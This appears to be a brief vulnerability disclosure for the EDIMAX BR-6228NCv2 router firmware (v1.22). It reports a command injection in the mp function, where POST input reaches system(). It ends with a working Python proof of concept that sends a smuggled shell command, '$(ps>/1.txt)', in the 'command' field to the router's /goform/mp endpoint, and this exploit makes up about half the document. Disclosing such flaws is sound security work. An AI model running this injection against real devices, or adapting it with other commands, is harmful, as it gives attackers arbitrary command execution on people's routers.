Overview

Affected version

BR-6228NCv2 (Version : v1.22)

Vulnerability details

The EDIMAX BR-6228NCv2 (Version : v1.22) firmware has a command injection vulnerability in the mp function. The Var variables receive the command parameters from a POST request. . However, since the user can control the input of these variables, the statement system() can cause a command injection.

image.png

image.png

POC

import requests

ip = "192.168.2.1"

payload = "$(ps>/1.txt)"
data = {"command": payload}
url = f'http://{ip}/goform/mp'

res = requests.post(url=url, data=data, verify=False)
print(res)